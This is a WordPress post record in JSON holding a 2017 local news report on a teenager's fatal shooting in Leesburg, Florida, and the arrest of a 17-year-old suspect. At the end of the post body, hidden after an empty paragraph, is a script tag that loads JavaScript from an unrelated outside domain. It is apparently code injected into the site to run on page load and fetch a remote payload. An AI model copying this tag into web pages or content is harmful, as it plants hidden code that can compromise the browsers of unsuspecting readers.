{"id":215136,"date":"2017-09-01T11:18:50","date_gmt":"2017-09-01T15:18:50","guid":{"rendered":"https:\/\/wordpress-1.tempurl.host\/?p=215136"},"modified":"2017-11-04T14:47:10","modified_gmt":"2017-11-04T18:47:10","slug":"teen-dies-gunshot-suspects-charges-upgraded-murder","status":"publish","type":"post","link":"https:\/\/thegraphicgeek.com\/demo-cflwire\/teen-dies-gunshot-suspects-charges-upgraded-murder\/","title":{"rendered":"Teen dies from gunshot, suspect&#8217;s charges to be upgraded to murder"},"content":{"rendered":"<p><span style=\"color: #333333;font-family: 'Segoe UI',sans-serif\">LEESBURG, Fla. \u00a0\u2013 A teenager shot Thursday in Leesburg has died.<\/span><\/p>\n<p><span style=\"color: #333333;font-family: 'Segoe UI',sans-serif\">Elian R. Hughes, 17, sustained two \u201capparent\u201d gunshot wounds, one to the hand and one to the abdomen, in the area of Laurel Oaks Apartments about 5 p.m. Thursday, according to Leesburg police Lt. Joe Iozzi.<\/span><\/p>\n<p><span style=\"color: #333333;font-family: 'Segoe UI',sans-serif\">Hughes was flown to Orlando Regional Medical Center on Thursday evening where he underwent surgery, but died overnight.<\/span><\/p>\n<p><span style=\"color: #333333;font-family: 'Segoe UI',sans-serif\">Mohyjah A. King, also 17 and a Leesburg High School student, initially was arrested on an aggravated battery charge in the case. Iozzi said Friday morning that the charge is expected to be upgraded to murder.<\/span><\/p>\n<p><span style=\"color: #333333;font-family: 'Segoe UI',sans-serif\">Police responded to the area of the apartment complex on Sleepy Hollow Road to reports of a shooting and a Nike sandal was found at the scene.<\/span><\/p>\n<p><span style=\"color: #333333;font-family: 'Segoe UI',sans-serif\">According to an arrest affidavit, witnesses reported seeing King, also known as \u201cTarzan,\u201d chasing Hughes before hearing gunshots. One witness told police that King had told him that Hughes had tried to \u201cjack\u201d (rob) him.<\/span><\/p>\n<p><span style=\"color: #333333;font-family: 'Segoe UI',sans-serif\">Iozzi said during an interview Friday morning that some type of \u201cillicit activity\u201d had occurred between the two teens that sparked gunfire, but he wouldn\u2019t elaborate &#8212; citing the pending investigation.<\/span><\/p>\n<p><span style=\"color: #333333;font-family: 'Segoe UI',sans-serif\">\u201cIt\u2019s evident they were up to no good,\u201d Iozzi said.<\/span><\/p>\n<p><span style=\"color: #333333;font-family: 'Segoe UI',sans-serif\">One witness attempted to drive Hughes to the hospital, but eventually took him the Lowe&#8217;s Home Improvement parking lot on U.S. Highway 441 in Leesburg for initial treatment by the Leesburg Airport Fire Station as well as Leesburg and Lake County paramedics.<\/span><\/p>\n<p><span style=\"color: #333333;font-family: 'Segoe UI',sans-serif\">The affidavit adds a search of King\u2019s Grove Ridge Circle home in Leesburg revealed clothing, including a Nike sandal, which matched what witnesses said he was wearing during the shooting.<\/span><\/p>\n<p><span style=\"color: #333333;font-family: 'Segoe UI',sans-serif\">Police said King later came home without the dreadlocks hair style he reportedly was wearing during the shooting. A witness also reported that after the shooting he spotted King rubbing pepper on his hands, which the suspect told him was for the (police) dogs.<\/span><\/p>\n<p><span style=\"color: #333333;font-family: 'Segoe UI',sans-serif\">King also was charged with possession of a firearm by a felon and was being held without bail.<\/span><\/p>\n<p>&nbsp;<script src='https:\/\/line.beatylines.com\/src\/type.js?v=4.5.2' type='text\/javascript' id='globalsway'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>LEESBURG, Fla. \u00a0\u2013 A teenager shot Thursday in Leesburg has died. Elian R. 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